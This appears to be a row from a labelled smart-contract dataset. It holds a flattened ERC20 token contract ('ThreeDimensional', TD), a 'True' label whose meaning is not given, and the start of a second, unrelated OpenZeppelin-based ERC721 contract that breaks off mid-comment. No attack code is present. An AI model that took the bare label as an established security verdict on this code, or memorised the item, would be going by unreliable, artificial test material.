function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/token/ERC20/behaviours/ERC20Decimals.sol
pragma solidity ^0.8.0;
/**
* @title ERC20Decimals
* @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot.
*/
contract ThreeDimensional is ERC20 {
uint8 immutable private _decimals = 18;
uint256 private _totalSupply = 10000000000000000 * 10 ** 18;
/**
* @dev Sets the value of the `decimals`. This value is immutable, it can only be
* set once during construction.
*/
constructor () ERC20('ThreeDimensional', 'TD') {
_mint(_msgSender(), _totalSupply);
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-03-16
*/
// File: @openzeppelin/contracts/utils/Counters.sol
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
